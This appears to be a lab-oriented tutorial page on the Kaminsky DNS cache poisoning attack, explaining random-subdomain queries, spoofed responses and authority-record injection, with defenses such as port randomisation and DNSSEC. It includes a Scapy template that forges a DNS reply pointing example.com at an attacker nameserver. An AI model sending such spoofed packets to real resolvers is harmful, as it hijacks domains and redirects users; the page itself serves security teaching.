Skip to content

๐Ÿงช 06-06: The Kaminsky Attack

๐Ÿ“Œ Definition

The Kaminsky Attack is a type of DNS cache poisoning attack that targets the authority (NS) record of a domain.

๐Ÿ‘‰ Instead of poisoning a single hostname, it allows the attacker to:

  • Inject a malicious nameserver
  • Take control of the entire domain

๐Ÿง  Basic Idea

Normal DNS:

User โ†’ DNS โ†’ example.com DNS server โ†’ correct answer

After attack:

User โ†’ DNS โ†’ poisoned cache โ†’ attacker-controlled DNS โ†’ fake answers

๐Ÿ’ฅ Entire domain resolution is now controlled by attacker


โš ๏ธ Key Problem

DNS uses:

  • UDP (no connection)
  • Transaction ID (only 16-bit)

๐Ÿ‘‰ This makes it possible to guess or brute-force responses


๐Ÿงฉ The Core Weakness

DNS validates responses using:

  • Transaction ID
  • Source port
  • Matching question

๐Ÿ‘‰ If attacker guesses these correctly โ†’ response is accepted


๐Ÿ”ฅ Main Strategy

Instead of attacking:

www.example.com

๐Ÿ‘‰ The attacker queries:

random123.example.com
random456.example.com
randomXYZ.example.com

These do not exist


๐Ÿ’ก Why Random Subdomains?

Because:

  • DNS server must ask authoritative server every time
  • Cache cannot help (new name every time)

๐Ÿ‘‰ This creates many opportunities to inject fake replies


๐Ÿงช Attack Steps

Kaminsky Attack

  1. Attacker sends query for random subdomain
    Example: random1.example.com

  2. DNS server forwards request to real DNS

  3. Attacker floods fake responses:

  4. Different transaction IDs

  5. Same question
  6. Fake authority section

  7. If one matches โ†’ accepted

  8. Cache stores:

example.com โ†’ ns.attacker32.com

๐Ÿ’ฅ Entire domain hijacked


๐Ÿ“ฆ Key Injection

The attacker inserts:

example.com โ†’ ns.attacker32.com

๐Ÿ‘‰ Now all future queries go to attacker DNS


๐Ÿง  Simple Flow

Attacker โ†’ many fake replies
DNS server โ†’ accepts one valid-looking reply
Cache โ†’ poisoned
Users โ†’ redirected


๐ŸŽฏ Why This Is Powerful

Feature Impact
Random subdomains Unlimited attempts
UDP protocol No handshake
Small ID space Easy guessing
Authority poisoning Full domain takeover

๐Ÿ’ฅ Result of Attack

After success:

example.com โ†’ ns.attacker32.com

Now:

  • www.example.com โ†’ attacker
  • mail.example.com โ†’ attacker
  • login.example.com โ†’ attacker

๐Ÿ‘‰ Entire domain compromised


๐Ÿ’ป Spoofed DNS Response (Kaminsky Attack Template)

from scapy.all import *

# -------------------------------
# ๐ŸŸข IP + UDP Headers
# -------------------------------
ip = IP(dst='10.9.0.53', src='1.2.3.4')
udp = UDP(dport=33333, sport=53, chksum=0)

# -------------------------------
# ๐ŸŸก Question Section
# -------------------------------
Qdsec = DNSQR(qname='aaaaa.example.com')

# -------------------------------
# ๐ŸŸก Answer Section (Fake IP)
# -------------------------------
Anssec = DNSRR(
    rrname='aaaaa.example.com',
    type='A',
    rdata='1.1.1.1',
    ttl=259200
)

# -------------------------------
# ๐Ÿ”ด Authority Section (Poisoning)
# -------------------------------
NSsec = DNSRR(
    rrname='example.com',
    type='NS',
    rdata='ns.attacker32.com',
    ttl=259200
)

# -------------------------------
# ๐Ÿ“ฆ DNS Packet
# -------------------------------
dns = DNS(
    id=0xAAAA,
    aa=1,
    rd=1,
    qr=1,
    qdcount=1,
    qd=Qdsec,
    ancount=1,
    an=Anssec,
    nscount=1,
    ns=NSsec
)

# -------------------------------
# ๐Ÿš€ Final Packet
# -------------------------------
packet = ip / udp / dns
send(packet)

๐Ÿง  Explanation of Code

  • IP/UDP Headers
  • src='1.2.3.4' โ†’ fake DNS server
  • dst='10.9.0.53' โ†’ target DNS resolver
  • sport=53 โ†’ looks like real DNS traffic

  • Question Section

  • Must match the original query (aaaaa.example.com)
  • Otherwise DNS server rejects the response

  • Answer Section

  • Returns fake IP: 1.1.1.1
  • Redirects victim to attacker-controlled destination

  • Authority Section (Most Important)

  • Injects: example.com โ†’ ns.attacker32.com
  • This changes the trusted nameserver

  • DNS Header

  • id=0xAAAA โ†’ must match request
  • qr=1 โ†’ response
  • aa=1 โ†’ authoritative answer

  • Final Packet

  • Combines layers: IP / UDP / DNS
  • Sent to victim DNS server

๐Ÿ”— Connection to Kaminsky Attack

  • Uses random subdomain (aaaaa.example.com)
  • Forces DNS server to query repeatedly
  • Attacker sends many spoofed responses like this
  • If one matches โ†’ accepted

๐Ÿ’ฅ Result:

example.com โ†’ ns.attacker32.com

๐Ÿ‘‰ All subdomains now resolve via attacker-controlled DNS
๐Ÿ‘‰ Entire domain is hijacked


๐Ÿ›ก๏ธ Defenses

To prevent Kaminsky attack:

  • Random source ports (adds entropy)
  • Random transaction IDs
  • DNSSEC (strongest protection)
  • Rate limiting DNS queries

โœ… Key Takeaway

Kaminsky attack works by:

  • Forcing repeated DNS queries using random subdomains
  • Flooding fake responses
  • Winning the race once
  • Poisoning the authority section

๐Ÿ”ฅ Once successful โ†’ attacker controls the entire domain